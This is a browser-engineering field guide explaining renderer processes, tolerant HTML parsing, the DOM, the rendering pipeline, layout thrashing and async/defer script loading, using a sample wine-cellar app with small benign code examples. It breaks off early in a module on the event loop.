The Browser · Nº 21

After the Bytes Arrive

A field guide to the browser

Your browser downloads code from strangers and runs it instantly — on the same screen as your bank account. Everything strange it does, from the frozen page to the CORS error that curl never sees, is the visible edge of two hidden designs: one thread fighting to stay responsive, and one wall fighting to keep origins apart. Guide Nº 14 made the wire legible. This guide makes the other end legible.

Module 01 The most hostile runtime

Guide Nº 14 followed a request across the wire and left you at the moment the first bytes of HTML arrived. This guide picks up there. Everything from this point — the parse, the paint, the freeze, the CORS error, the stolen session — happens inside one program running on the reader's machine, and that program is under conditions no server ever faces: it downloads code written by parties it has never met and executes it within milliseconds, dozens of times per page, on the same screen and in the same process family as the reader's bank.

This module builds the map the rest of the course hangs on. Two design problems dominate browser engineering, and nearly every behavior that has ever confused you is the visible edge of one of them: keeping a single thread responsive while running arbitrary code, and keeping mutually distrusting origins from touching each other. Learn to sort a symptom into the right tension and you have already done most of the diagnostic work.

A program, not a window

The document metaphor is the most expensive misconception in web engineering. It suggests the browser receives a finished artifact and displays it, the way a PDF reader displays a PDF. What actually arrives is a program: markup that names further resources, stylesheets that will be resolved against a device the author never saw, and JavaScript — arbitrary, Turing-complete, written by whoever the site chose to trust — which the browser will compile and run before the user has finished reading the headline.

Consider one ordinary page load of the wine-cellar app at https://cellar.example. The HTML references a stylesheet, a font, an analytics script from a vendor, a charting library from a CDN, and the app's own bundle. Five parties contribute executable or render-controlling material. Four of them are strangers to the browser and three of them are strangers to the app's own engineering team. The browser has no source review, no build gate, no way to ask what the code intends. It has one option: run it, and constrain what running it can accomplish.

This is why browser engine is the right word for the subsystem doing the work. Blink (Chrome, Edge), WebKit (Safari), and Gecko (Firefox) are runtimes in the same sense that the JVM or the Python interpreter is a runtime: they parse a language, build in-memory structures, manage memory, schedule execution, and mediate every access to the outside world. The difference is the threat model. A JVM usually runs code its operator chose. A browser engine runs code its operator has never seen, on behalf of a user who clicked a link.

The load-bearing idea

The browser is an execution environment for untrusted code, and the page is a running program rather than a rendered file. Every strange behavior in this course follows from that one fact plus its two consequences: the program has to stay responsive, and the program must not be allowed to reach anything it was not granted.

Handoff from Guide Nº 14

Nº 14 ended at time-to-first-byte: DNS resolved, TCP and TLS negotiated, the server's first packet of HTML in flight. Everything in this guide happens after that instant. When the two guides disagree about where a millisecond went, Nº 14 owns the wire and this guide owns the runtime.

Tabs, processes, and the engine

A modern browser is not one process. It is a small distributed system running on one machine. A privileged browser process owns the window chrome, the network stack, the cookie jar, and the disk. One or more renderer processes — sandboxed, unprivileged — do the parsing, styling, layout, and JavaScript execution for the pages you visit. A GPU process turns painted layers into pixels on the screen, and utility processes handle audio and network-service work, while extensions run in their own renderer processes.

Under site isolation, the browser assigns different sites to different renderer processes, so cellar.example and an unrelated advertising site never share an address space. This turns an OS-level boundary into part of the security model: even a renderer with a memory-corruption bug cannot read another site's memory, because the other site's memory is in another process.

Browser process architecture: a privileged browser process, two sandboxed renderer processes for different sites, and a GPU process, with the main thread called out inside one rendererBrowser process — privilegedwindow chrome · network stack · cookie jar · disk · profile · process managementsandbox boundaryRenderer — cellar.examplemain thread — JS · style · layout · paintcompositorworker poolsandbox boundaryRenderer — adnetwork.exampleits own main threadseparate address space —cannot read cellar.example memoryGPU process — rasterize and display
Figure 1.2 — One browser, several processes. The privileged browser process holds the network stack, cookies, and disk; each site gets its own sandboxed renderer with its own single main thread; the GPU process draws. A crash in one renderer kills that site's tabs and nothing else, and a compromised renderer still has to get past the sandbox to reach the disk or another site's memory.

Two practitioner consequences follow. First, a tab crash is a process crash: the sad-tab page appears, that site's tabs die, and the browser and every other site keep running. Second — and this is the one that governs the next four modules — inside each renderer there is exactly one main thread, and it runs your JavaScript, your style resolution, your layout, and your paint. Not one thread per concern. One thread, sequentially, for all of it.

What the sandbox is for

The sandbox exists because renderers process the most hostile input on the machine: attacker-controlled HTML, CSS, images, fonts, and JavaScript, parsed by large C++ codebases. Memory-safety bugs there are assumed, not hoped against. So the renderer is denied direct filesystem and network access and must ask the browser process for everything — which means a working exploit needs a second bug, in the sandbox itself, to matter. This is defense in depth expressed in OS primitives, not performance isolation.

Two tensions

Browser engineering is dominated by two problems that pull against everything else. Name them once and you will see them everywhere for the rest of this course.

Tension one: responsiveness on one thread. The renderer must run arbitrary JavaScript and also produce a new frame roughly every 16.7 ms, on the same thread, with no ability to preempt code mid-function. Every mechanism in modules 2 through 5 — tolerant streaming parsing, the staged rendering pipeline, script loading attributes, the event loop and its queues — exists to keep that thread available.

Tension two: isolation between strangers. The same runtime holds your bank's page and a page you opened from an email, sometimes at the same instant. Nothing in the platform lets the browser judge intent, so it enforces identity instead: code is labeled with its origin and denied reads across origin lines. Modules 6 through 8 — storage keyed by origin, the same-origin policy, CORS as an opt-in relaxation, XSS as the failure where hostile code lands inside an origin — are all this tension.

The two-tension map: one browser runtime with responsiveness machinery on the left and isolation machinery on the right, each region labeled with the modules that teach itOne runtime, two survival problemsTension 1 — stay responsive on one threadParsing — bytes to a live DOMmodule 02Render pipeline — style, layout, paint, compositemodule 03Loading — blocking, async, defermodule 04Event loop — stack, tasks, microtasksmodule 05 · the scarcest resourcesymptom: the page freezes, jank, slow first paintTension 2 — keep origins apartStorage — origin-keyed, cookies apartmodule 06Same-origin policy — the wallmodule 07CORS — the gate cut in the wallmodule 07XSS and CSP — the wall breachedmodule 08symptom: CORS errors, stolen sessions, injected code
Figure 1.1 — The two-tension map. Left: the machinery that keeps one thread responsive — parsing, the render pipeline, script loading, the event loop. Right: the machinery that keeps mutually distrusting origins apart — origin-keyed storage, the same-origin policy, CORS, and the CSP layer that answers XSS. Every module in this course claims one region of this map, and module 08 returns to it with every region filled in.

Keep the map. When a behavior surprises you, the first question is not what to change but which half of this diagram it lives in — because the halves have different debugging instruments, different vocabularies, and different people to talk to.

Reading weirdness as evidence

Three symptoms, filed. Each is the first paragraph of a module you have not read yet, and each is chosen because practitioners routinely file it under the wrong heading and then debug the wrong system for a day.

The cellar table freezes for about a second when you sort by vintage. Clicks during that second do nothing, then all land at once. Nothing is on the network; nothing is cross-origin. This is tension one, and specifically the event loop: one thread is inside your sort function, and until it returns the browser cannot process input or paint a frame. Modules 3 and 5 take it apart, and module 3 fixes it.

The frontend gets a CORS error calling https://api.cellar.example, but the identical request in curl returns 200. The overwhelming instinct is that the API is broken and curl proves it is not, so someone must be wrong about which URL they are hitting. Both observations are correct and consistent: curl has no origin and enforces no policy, while the browser sends the request, receives the response, and refuses to hand it to the calling script. This is tension two, and module 7 exists to make that sentence readable.

The page shows a blank white screen for 800 ms after the HTML has fully arrived. The network panel is clean. Tension one again, but a different mechanism from the freeze: a plain script tag in the head halted the parser, and nothing can render before the parse and the stylesheet finish. Module 4 traces it on a timeline that continues the waterfall from Guide Nº 14.

From the reader's other career

This is the same discipline as characterizing a claim before researching it. "Defendant behaved badly" is not a cause of action; breach, negligence, and fraud each have different elements, different evidence, and different defenses, and choosing wrong wastes the week. "The site is broken" is likewise not a diagnosis. Responsiveness and isolation are the two causes of action available here, and the elements of each are the rest of this course.

The most expensive misfiling

Filing a CORS error under tension one — "the API is slow or flaky, add a retry" — produces retries that hammer an endpoint which already succeeded, and, when the request is state-changing, duplicates its side effects. The error message was never about reachability. Read the tension before you write the fix.

Module 02 From bytes to tree

On the map from module 01 this is the first station on the responsiveness side: the machinery that turns an arriving byte stream into something the rest of the pipeline can style and lay out, without ever stopping to complain. Two properties of that machinery generate a surprising share of real-world confusion. The parser does not fail on broken input — it repairs it, deterministically, in a way the specification dictates. And the structure it produces is not a representation of the file; it is a live object graph that begins diverging from the file the moment the first script runs.

Both properties are load-bearing for the debugging you do later. If you do not know that the parser inserts elements you never wrote, you will chase a selector that returns null. If you treat the Elements panel as a picture of what the server sent, you will build an argument on the wrong evidence and defend it confidently.

The parser that never throws

HTML parsing has two stages. Tokenization walks the byte stream and emits tokens — start tags, end tags, attributes, text, comments — driven by a state machine that has an explicit rule for every character in every state. Tree construction consumes those tokens and builds nodes, maintaining a stack of open elements and a list of formatting elements, with insertion modes that change what an incoming token means depending on where you are in the document.

The property that matters: neither stage has a failure exit. There is no parse error that stops the document. Everything you would call invalid — an unclosed tag, an end tag with no match, a <div> inside a <p>, a stray </br> — has a defined recovery in the HTML specification. It is not that engines are lenient. It is that the recovery behavior is the standard, written down so precisely that the same broken markup produces the same tree in Blink, WebKit, and Gecko.

Why forgiveness became a requirement

By the time anyone tried to standardize parsing, the web already contained billions of pages of malformed markup, most of them unmaintained. A strict parser would have rendered a blank error page for a large fraction of the web, and no user would have accepted a browser that did that. The XHTML experiment tried strictness — a single unescaped ampersand yielded a yellow error screen — and the market declined. So the specification was written to describe what the tolerant parsers already did, and made it deterministic.

This is the difference between tolerant parsing and sloppiness. Sloppy means unpredictable. Tolerant-by-specification means you can predict the tree exactly — which is the only reason the rest of this module is useful rather than a warning to write better HTML.

The parsing conveyor: bytes to tokens to tree construction to DOM, with broken markup entering error recovery and an implied tbody element emerging in the repaired treeBytesnetwork streamTokenizertags · attrs · textTree constructionopen-element stackDOM treelive · mutableserved markup<table><tr><td>Barolo<td>2016</table>error recovery — spec-defined, not engine choiceimplied tbody inserted · unclosed td auto-closedresulting treetable└ tbody (implied)└ tr├ td Barolo└ td 2016
Figure 2.1 — The parsing conveyor. Bytes become tokens, tokens become tree nodes against a stack of open elements, and malformed input is routed through spec-defined recovery rather than to an error state. The wine-cellar's abbreviated table markup — no tbody, no closing td tags — yields a tree containing a tbody element the author never wrote, identically in every engine.

The recovery gallery

Four recoveries account for most of the surprises in practice. Each is worth being able to predict on sight.

Implied tbody. Rows written directly inside <table> get a tbody inserted around them. This is not optional and not a repair of an error; it is what the table insertion mode does. The wine-cellar's server template emits <table id="cellar"><tr>…, so the DOM contains table > tbody > tr, and the CSS selector #cellar > tr matches nothing at all.

Auto-closing. A <li> ends when the next <li> starts; a <p> ends when a block-level element starts inside it. So <p>Notes: <div>oak</div></p> does not produce a paragraph containing a div — it produces an empty-ish paragraph, a sibling div, and then an unmatched </p> that the parser handles by inserting a second, empty paragraph.

Misnested formatting. <b><i>Barolo</b> 2016</i> cannot be a tree as written. The adoption agency algorithm reconstructs it into properly nested elements, duplicating the <i> so the visual intent survives: bold-italic "Barolo", then italic " 2016".

Foster parenting. Content that is not allowed inside a table — a stray <div> between rows — is moved out, inserted immediately before the table in the tree. A developer who writes a loading skeleton row inside <tbody> and then cannot find it with tbody.querySelector has met this rule.

Worked example — the selector that returns null

Served markup:

<table id="cellar">
  <tr><td>Barolo<td>2016<td>12
  <tr><td>Chablis<td>2019<td>6
</table>

Resulting DOM: table#cellar > tbody > tr > td, six cells, all closed correctly. Now the two lookups a developer writes:

document.querySelectorAll("#cellar > tr")        // → []  (empty)
document.querySelectorAll("#cellar tr")          // → 2 rows

The child combinator asks for rows that are direct children of the table. There are none — tbody is in between. The descendant combinator does not care about depth, so it works. The bug is not in the selector engine, the framework, or the timing; it is that the tree has one more level than the file does.

When this misleads

Recovery is deterministic but it is not intent-preserving. Foster parenting will silently relocate your element to a different parent, and the adoption agency will duplicate elements to make a tree. Neither logs anything. If a node is not where you put it, do not assume a race — assume the tree you built is not the tree you wrote, and go read it.

The live tree

The DOM is not a representation of the HTML file. It is a mutable in-memory object graph that the parser initializes from the HTML file and that everything afterwards edits. That distinction has a precise moment attached to it: the page stops being the file the server sent at the instant the first script executes, and it never goes back.

Trace the wine-cellar list page through that moment. The server sends 4 KB of HTML containing a header, an empty <table id="cellar">, and a bundle reference. The parser builds a tree with no rows — because the file has no rows. The bundle runs, fetches GET /cellar-entries, and appends 240 tr elements. A user filters to Barolo; the script removes 218 of them. A user opens a row; the script sets aria-expanded="true" and injects a tasting-note panel. Ten seconds in, the DOM has hundreds of nodes and dozens of attributes with no counterpart anywhere in the served bytes.

The useful framing is documentary. The served HTML is a birth certificate: it records an origin, it is immutable, and it is evidence of exactly one moment. The DOM is the living person: current, changing, and the only thing that can answer "what is true right now." Both are legitimate artifacts. They answer different questions, and the entire next section is about not confusing which one you are holding.

Side-by-side comparison of the wine-cellar page's served HTML tree and its live DOM after parser recovery and script mutation, with three differences attributed to their causesServed HTML — View Source4 KB, immutable, what the server sentbody├ header.site├ table#cellar│ └ tr.head│ ├ th Wine│ └ th Vintage└ script[src=app.js]no rows · no tbody · no aria stateLive DOM — Elements panel, t = 10 scurrent runtime state, still changingbody├ header.site├ table#cellar│ └ tbody ①│ ├ tr.head│ ├ tr x 22 ②│ │ aria-expanded ③└ script[src=app.js]240 rows fetched, 218 filtered out① parser recovery — implied tbody② script mutation — rows from GET /cellar-entries③ script mutation — attribute set on row expand
Figure 2.2 — Birth certificate and living person. Left, the bytes the server sent: a table with a header row and no data. Right, the DOM ten seconds later. Difference ① was created by the parser before any script ran; ② and ③ were created by script. Attribution matters because the fix for a parser-recovery difference lives in the template and the fix for a mutation difference lives in the code.

Reading the live tree: the Elements panel

The Elements panel renders the DOM. Not the HTML file — the current tree, including everything the parser inserted and everything scripts have done since, updating as you watch. View Source shows the served bytes for the document request. A scraper that fetches the URL and parses the response sees the same bytes as View Source and nothing else, unless it runs a real engine.

Three artifacts, three different answers to three different questions:

ArtifactShowsAnswersBlind to
View SourceThe document response's bytesWhat did the server send for this URL?Parser recovery, all script mutation, injected content
Network panel, document responseThe same bytes, plus status and headersWhat did the server send, and under what headers?Everything after the parse
Elements panelThe live DOM right nowWhat is the page's state at this moment?Which changes came from the server, the parser, or a script
Chain of custody

Treat these as evidence with provenance. A screenshot of the Elements panel does not establish what the server sent, for the same reason that a photograph of a document as it exists today does not establish what was executed — intervening handling is unaccounted for. If the claim is "the server sends rel=noopener on these links," the admissible evidence is the document response in the Network panel or a curl of the URL. If the claim is "the attribute is missing when users click," the Elements panel is exactly right and View Source is irrelevant. Name the claim, then choose the artifact.

The anti-pattern, named

Reading Elements as the served HTML. Symptom: someone pastes an Elements screenshot to prove a server-side templating bug, the backend team cannot reproduce it, and two days go to a template that was always correct. Corrective: for any claim about server output, cite the document response bytes; if the difference is real, attribute it to parser recovery or to a specific script before assigning the work.

The scraping case is the same error with a different sign. A vendor reports that the wine-cellar page "has no inventory data" because their crawler fetched the URL and found an empty table. They are correct about the bytes and wrong about the page: the rows arrive from GET /cellar-entries after the bundle executes, so a fetch-and-parse crawler cannot see them and a headless browser can. Nothing is blocking them, nothing is cached wrong, and their user agent is fine.

Module 03 Drawing it: the rendering pipeline

Module 02 left you with a tree. A tree is not pixels. Between the two sits a staged pipeline that resolves style, solves geometry, rasterizes, and assembles — and it sits on the same single main thread as your JavaScript, which is why this module lives on the responsiveness half of the map.

The practitioner payoff is a cost model. Each pipeline stage consumes the previous stage's output, so a change that enters the pipeline early pays for everything downstream of it, while a change that enters late is nearly free. Once you can name where a given change enters, you can predict whether an animation will be smooth before you write it, and you can look at a Performance recording and say what a slow frame is made of rather than guessing.

From tree to pixels: the four stages

After the DOM exists, four stages run in order.

Style. For every element, the engine resolves the cascade — author, user, and user-agent rules, inheritance, specificity — into a computed style: a concrete value for every property. Inputs: the DOM plus the CSSOM. Output: styled nodes.

Layout. Also called reflow. The engine solves geometry: how wide is each box, how tall, where does it sit relative to its container, where do line breaks fall. This is a global constraint problem, not a per-element lookup — the width of one element can change the height of a distant one through wrapping. Inputs: styled nodes plus the viewport. Output: a box tree with positions and sizes.

Paint. The engine records, then rasterizes, the drawing operations that produce pixels: backgrounds, borders, text glyphs, shadows, images. Painting happens onto one or more layers rather than directly onto the screen. Input: the box tree. Output: rasterized layers.

Composite. The layers are assembled in the right order with the right transforms and opacities and handed to the GPU for display. Input: layers. Output: a frame.

The load-bearing idea

The stages are strictly ordered and each consumes the previous one's output. So the cost of a change is determined by the earliest stage it invalidates: invalidate layout and you pay layout, paint, and composite; invalidate paint and you pay paint and composite; invalidate only compositing and you pay almost nothing. Cheap and expensive are not properties of CSS properties in the abstract — they are properties of where a change enters this pipeline.

The full rendering pipeline from bytes through tokens, DOM, style, layout, paint and composite, annotated with which developer actions re-enter the pipeline at which stage and what each entry point costsfirst load — oncebytestokensDOM1 · Stylecascade → computed values2 · Layoutgeometry for every box3 · Paintrasterize onto layers4 · Compositeassemble → framere-entry points — where your change landswidth · font-size · append rows→ layout + paint + compositecolor · background · box-shadow→ paint + composite (skips layout)transform · opacity→ composite only — the cheap pathCost rule: you pay for the stage you invalidate and every stage after it. Nothing lets you pay less than the earliest stage you touched.
Figure 3.1 — The pipeline and its re-entry points. Bytes become a DOM once; style, layout, paint, and composite then run in order and re-run whenever something invalidates them. A geometry change re-enters at layout and pays all four stages; a color change re-enters at paint and skips layout; a transform or opacity change can often be handled at composite alone. The rule is unidirectional: the earliest stage you invalidate sets the bill.

What each change costs

Three tiers, with the canonical safe examples.

ChangeEnters atStages runTypical use
Geometry — width, height, top, left, font-size, padding, inserting or removing elementsLayoutLayout → paint → compositeReal structural change; avoid per-frame
Appearance — color, background-color, box-shadow, visibilityPaintPaint → compositeHover states, theming
transform, opacity on a composited layerCompositeCompositeMovement and fades, including per-frame animation

The practical consequence for animation is direct. Moving a panel by animating left from 0 to 320 px asks the engine to re-solve geometry on every frame, at 60 frames per second, for a change that is visually a translation. Animating transform: translateX(320px) asks it to composite an already-painted layer at a new offset. The visual result is the same; the work is not remotely the same, and on a mid-tier phone with a busy page the first one drops frames while the second does not.

The limits of this taxonomy

Do not memorize property lists and do not promise that transform is always GPU-accelerated — engines differ, promotion to its own layer depends on conditions, and layers cost memory, so promoting everything backfires. What is stable across engines is the staging: geometry is upstream of appearance, appearance is upstream of assembly, and you pay from the earliest stage you touch. Reason from the stage, verify in the Performance panel, and treat any specific claim as a hypothesis your trace can refute.

The GPU deserves one sentence of demystification. Compositing runs on the GPU, which is very good at moving and blending already-rasterized layers. It does not do layout. There is no setting, hint, or property that makes layout run on the GPU, so "we will put it on the GPU" is not a plan for making a slow table sort fast — it is a plan for making an already-cheap animation cheap.

Layout thrashing: the self-inflicted stall

The engine wants to be lazy. When you write to the DOM, it marks layout dirty and defers the actual computation until it needs the result — normally just before the next frame, once, for all your writes together. That laziness is the entire performance strategy, and one line of code destroys it.

Reading a layout-dependent property — offsetHeight, offsetTop, getBoundingClientRect(), scrollTop, getComputedStyle() for a geometric value — demands an answer that is only correct if layout is up to date. If layout is dirty, the engine has no choice: it runs layout synchronously, right there, before returning from your property access. This is forced synchronous layout. Do it once and it costs one layout. Do it inside a loop that also writes, and you force one full layout per iteration. That is layout thrashing.

Worked example — the wine-cellar vintage sort

The cellar table holds 5,000 rows. Sorting by vintage runs this:

rows.forEach(function (row) {
  row.classList.add("sorted");           // write — layout now dirty
  var h = row.offsetHeight;              // read  — forces layout NOW
  row.style.height = h + "px";           // write — dirty again
});

Each iteration dirties layout and then immediately demands a clean answer, so the engine runs a full layout 5,000 times inside one task. Measured on the app's own trace: a 903 ms task, of which 780 ms is layout, split across roughly five thousand slivers. The page is frozen for nearly a second; clicks made during it queue and land afterward.

The repair changes no algorithm and no framework:

var heights = rows.map(function (row) { return row.offsetHeight; });  // all reads: one layout
rows.forEach(function (row, i) {                                      // all writes: no reads between
  row.classList.add("sorted");
  row.style.height = heights[i] + "px";
});

One layout instead of 5,000. The same trace now shows a 14 ms task.

Two parallel timelines comparing an interleaved read-write loop that forces layout every iteration against a batched reads-then-writes version that forces layout onceInterleaved: write → read → write, per rowone forced layout per row · 5,000 rows · 903 ms task, 780 ms in layout… continues …Batched: all reads, then all writes5,000 readsone layout5,000 writeslayout once more before the framesame rows, same algorithm · 14 ms task — inside the frame budget
Figure 3.2 — Thrash versus batch. Top: every iteration writes, then reads a layout property, forcing a synchronous layout — the tall bars — so layout runs once per row. Bottom: all reads happen first against one clean layout, then all writes accumulate and are laid out once before the frame. The data, the DOM, and the algorithm are identical; only the ordering changed.

Reading the flame chart

The Performance panel records what the main thread did over a span of time and draws it as a flame chart: time on the horizontal axis, call depth downward, so a wide bar is slow and the bars beneath it are what it called. The workflow that matters is short.

Record the interaction, not the page. Start recording, do the one thing that feels wrong, stop. A ten-second recording of general browsing buries the evidence.

Find the long task. The main-thread track marks any task over roughly 50 ms — a long task — with a red corner. This is the unit that matters, because a task cannot be interrupted: input and paint wait behind the whole of it.

Read its composition by color. Yellow is scripting, purple is rendering (style and layout), green is painting and compositing. Composition is the diagnosis. One wide yellow block with a deep stack is your code doing too much computing. A yellow block shot through with hundreds of thin purple slivers is the thrash signature — script calling into layout over and over.

Name the frames it cost. A 903 ms task at 60 fps is 54 frames that never happened. That is the sentence to put in the ticket, because it converts a subjective complaint into a number.

Schematic flame chart of the cellar-sort long task, showing a wide scripting block with the sort function beneath it and hundreds of thin layout slivers marking forced synchronous layoutPerformance panel — main thread, click on "Sort by vintage"0 ms450 ms903 msTask — 903 ms — long task (red corner)Event: click — scriptingsortByVintage() — app.js:214applyRowHeights() — 5,000 iterationseach sliver = Layout, forced by an offsetHeight read — 780 ms totalFrames track: no frame produced for the entire span — 54 dropped framesSignature to memorize: one wide scripting block + regular thin layout slivers = thrash, not "too much data".
Figure 3.3 — The thrash signature. Depth downward is the call stack: the click handler calls the sort, which calls the height loop. The regular thin layout slivers beneath the loop are the tell — layout running once per iteration rather than once per frame. A genuinely compute-bound task would show one wide scripting block with no repeating render bars underneath.

The repair, verified

The cellar-sort fix has three parts, and only the first is about thrashing.

Batch reads before writes. Gather every measurement in one pass, then apply every mutation in a second pass. One layout instead of 5,000.

Build off-DOM. Sorting means reordering rows. Reordering them in place moves live nodes one at a time, each move invalidating layout for everything after it. Building the new order in a DocumentFragment and appending once means the engine sees a single structural change.

Do not measure what you can compute. The loop read offsetHeight to preserve row heights that a CSS rule already determined. The rule was tr { height: 44px; }. The fastest layout is the one you never ask for.

Before and after, from the trace

Before: one task, 903 ms. Composition: 118 ms scripting, 780 ms layout across ~5,000 slivers, 5 ms paint. Frames produced during the task: zero. Two clicks recorded during the freeze dispatched after it ended, 640 ms and 210 ms late.

After: one task, 14 ms. Composition: 9 ms scripting, 3 ms layout in one block, 2 ms paint. Frames produced: the next one, on schedule. Same 5,000 rows, same sort comparator, same React version, same device.

The anti-pattern, named

Blaming the framework. Symptom: "the table is slow because React is slow," usually followed by a proposal to migrate, or to wrap everything in memoization, or to virtualize before anything has been measured. Corrective: record the interaction and read the composition first. A framework that re-renders too often shows up as many script tasks; layout thrash shows up as one task dominated by layout. Here the thrash lived in a useEffect that measured each row after mutating it — application code that would have behaved identically in vanilla JavaScript, jQuery, or Vue.

Note also what did not fix it, because these are the moves teams make first: virtualizing the list would have reduced the row count and hidden the bug until someone widened the viewport; memoizing the comparator addressed 118 ms of scripting and none of the 780 ms of layout; and a loading spinner could not have appeared at all, since the thread that would paint it was the thread that was busy.

Module 04 The loading story

This module occupies the loading region of the responsiveness map, and it is where the two guides in this series meet. Guide Nº 14 traced a request from DNS through TLS to the first byte of the response. Everything after that byte — parse progress, what stalls it, and when the user first sees anything — is here.

Three ordering rules generate nearly every loading waterfall you have squinted at, and they are not arbitrary: each exists because the alternative produces something worse than waiting. Learn the three rules, and a page-load timeline becomes readable in the sense that matters — you can point at the span that owns the delay and name the mechanism that caused it.

The critical rendering path

The critical rendering path is the chain of work that must complete before the browser can put anything on screen: receive HTML, parse it into a DOM, receive and parse CSS into a CSSOM, combine them into a render tree of visible styled nodes, lay out, paint. Anything that lengthens that chain delays the first pixel, and three blocking rules dominate it.

CSS blocks rendering. The browser will not paint content before it has the stylesheets, because painting unstyled content and then restyling it produces a flash of unstyled text — a visibly broken page followed by a jump. The engine judges a short blank screen to be the lesser harm, and it is right; users read a flash as a bug and read a blank moment as loading.

JavaScript blocks parsing. A classic script tag halts the parser until it has been fetched and executed. The reason is that scripts can call document.write and can read and mutate the half-built DOM, so the engine cannot continue building the tree without knowing what the script does to it.

CSS blocks JavaScript. A script may ask for a computed style, and the only correct answer requires every pending stylesheet. So a script that would otherwise be ready to run waits for CSS ahead of it — which means a slow stylesheet can delay a script, which is already delaying the parser. This is where mysteriously compounding load times come from.

Dependency diagram showing HTML producing the DOM, CSS producing the CSSOM, both feeding the render tree, with the three blocking edges labeled with the reason for eachHTMLCSSJavaScriptDOMCSSOMRender tree → paintCSS blocks JS —a script may read computed stylesJS blocks parsing —document.write and DOM readsCSS blocks rendering —a flash of unstyled text is worse than a blankEvery loading waterfall is these three constraints applied to whatever the page happens to reference.
Figure 4.2 — Three blocking edges, with reasons. HTML becomes the DOM and CSS becomes the CSSOM; the render tree needs both. The dashed edges are the constraints: CSS blocks rendering because a flash of unstyled content is worse than a brief blank; JavaScript blocks parsing because a script can rewrite the document it is being parsed into; CSS blocks JavaScript because a script may read computed styles. The compounding case is a slow stylesheet delaying a script that is itself holding the parser.

The script tag that stops the world

Here is the wine-cellar app's head as it shipped:

<head>
  <meta charset="utf-8">
  <link rel="stylesheet" href="/static/app.css">            <!-- 38 KB, render-blocking -->
  <script src="https://metrics.vendor.example/a.js"></script>  <!-- 40 KB, parser-blocking -->
  <script src="/static/app.js"></script>                     <!-- 96 KB, parser-blocking -->
</head>

The analytics script is a parser-blocking script and it is the expensive one, for a reason that has nothing to do with its size. It is on a third-party origin, so the browser must resolve DNS for metrics.vendor.example, open a TCP connection, complete a TLS handshake, and only then transfer 40 KB — while the parser sits idle with the rest of the HTML already in its buffer. On a mid-tier phone on 4G that is about 300 ms of pure stall, most of it connection setup rather than bytes.

Two important nuances. First, the browser is not entirely idle: a preload scanner reads ahead in the raw HTML and starts fetching resources it can see, so subsequent downloads overlap the stall. That reduces the damage and does not remove it, because tree construction still cannot advance. Second, the stall is not visible in the Network panel as a slow request — the request itself may be perfectly fast. It is visible as a gap between the HTML finishing and first paint, which is exactly the symptom module 01 filed as "blank screen with a clean network panel".

The anti-pattern, named

Scripts in the head by habit. Symptom: a project template with two or three plain script tags in the head, and a first paint several hundred milliseconds later than the HTML's arrival, on every page, forever. The folklore justification is "scripts have to load first", which conflates load order with execution timingdefer preserves order while removing the stall. Corrective: no script tag in the head may lack async or defer unless someone can state, in the review, what breaks without blocking.

async and defer

Both attributes remove the parser stall by downloading in parallel with parsing. They differ in when the script executes, and that difference decides which one is correct.

DownloadExecutesOrder guaranteedUse for
plain <script src>Blocks parserImmediately, before parsing resumesYes, document orderAlmost nothing; legacy document.write
asyncParallelAs soon as it arrives, interrupting parsingNo — arrival orderIndependent scripts with no dependencies and no DOM assumptions
deferParallelAfter parsing completes, before DOMContentLoadedYes, document orderAnything that needs the DOM, or needs another script

async is a genuine trap for anything with dependencies. Two async scripts race, so whichever transfers faster runs first; a chart library and the code that calls it will work on your laptop and fail intermittently on a customer's connection, which is the worst possible failure profile. defer preserves document order and guarantees the DOM is fully parsed, which is what most application code actually assumes.

The fix, measured

Both wine-cellar scripts get defer. The analytics script is independent and could take async, but defer also keeps it from interrupting mid-parse and it does not need to run early to be correct.

<link rel="stylesheet" href="/static/app.css">
<script defer src="https://metrics.vendor.example/a.js"></script>
<script defer src="/static/app.js"></script>

Measured on the same mid-tier phone profile: first contentful paint moves from 1,240 ms to 910 ms — the 300 ms analytics stall plus a little parser progress. Time to interactive is unchanged at about 1,450 ms, because the same JavaScript still has to execute. That distinction is worth stating out loud in the ticket: defer moved when the work happens, not how much there is.

Attributes that do nothing

Both attributes apply only to scripts with a src. On an inline <script> containing code, async and defer are ignored entirely — the code runs immediately, in place, blocking the parser. Adding defer to an inline snippet and declaring the loading problem solved is a fix that changes nothing and closes the ticket, which is worse than no fix. If inline code must run late, wrap it in a DOMContentLoaded listener or move it to a deferred file.

The whole waterfall, both halves

Now put the two guides on one axis. Guide Nº 14 owns everything to the left of the first byte; this module owns everything to the right.

Page-load timeline continuing Guide Nº 14's network waterfall: network prelude, HTML arrival and parser progress, a parser-blocking script stalling the parse, the same page with defer applied, and first paint and interactive marks on bothWine-cellar list page · mid-tier phone, 4G0400 ms800 ms1,200 ms1,520 msGuide Nº 14 — the wireDNSTCP+TLSTTFBfirst byte — this guide starts hereBefore: plain scripts in headparseparser stalled — analyticsapp.jsparse restapp.css (render-blocking, parallel)first paint 1,240 msinteractive 1,450 msAfter: defer on both scriptsparse — uninterruptedapp.css · scripts downloading in parallelanalyticsapp.js executesfirst paint 910 ms — 330 ms earlierinteractive 1,450 ms — unchanged
Figure 4.1 — Both halves of the waterfall. The compressed prelude on the left is Guide Nº 14's trace, unchanged, ending at first byte. Above: the parser advances, stalls on the third-party analytics script (connection setup plus transfer), stalls again on the app bundle, and first paint lands at 1,240 ms. Below: with defer, the parse runs to completion while both scripts download in parallel, moving first paint to 910 ms. Time to interactive does not move — the same JavaScript still has to execute, which is why loading attributes are a latency fix and not a bundle-size fix.

The last point is the one worth carrying into a planning conversation. defer bought 330 ms of perceived speed and zero milliseconds of actual work removed. If time to interactive is the complaint, the answer is less JavaScript — code splitting, dropping a dependency, moving work to the server — and no attribute will substitute for it.

Where the panels divide

Guide Nº 14 owns the Network panel: status codes, headers, caching, connection reuse, compression. This guide deliberately does not re-teach it. When a load is slow, the division of labor is simple — if the time is spent before the response finishes, it is a Nº 14 problem; if the response arrived quickly and the screen is still blank, it is this module's problem, and the Performance panel is the instrument.

Module 05 One thread to rule them all

This is the center of the responsiveness half of the map, and the module that retroactively explains the previous three. Parsing, layout, paint, event handlers, timer callbacks, promise resolutions: all of it runs on one thread, one thing at a time, scheduled by a mechanism simple enough to hold in your head and consequential enough that most "the app is slow" reports resolve here.

Two ideas carry the module. Run-to-completion means the browser cannot interrupt your function — so a long function does not degrade the page, it suspends it. And the queues are not one queue: tasks and microtasks are drained under different rules, which is why promise callbacks reliably beat a zero-delay timer and why an unlucky promise chain can starve rendering entirely.

The single thread

One main thread per renderer runs your JavaScript, style resolution, layout, and paint. Not one thread each. The same thread, in sequence.

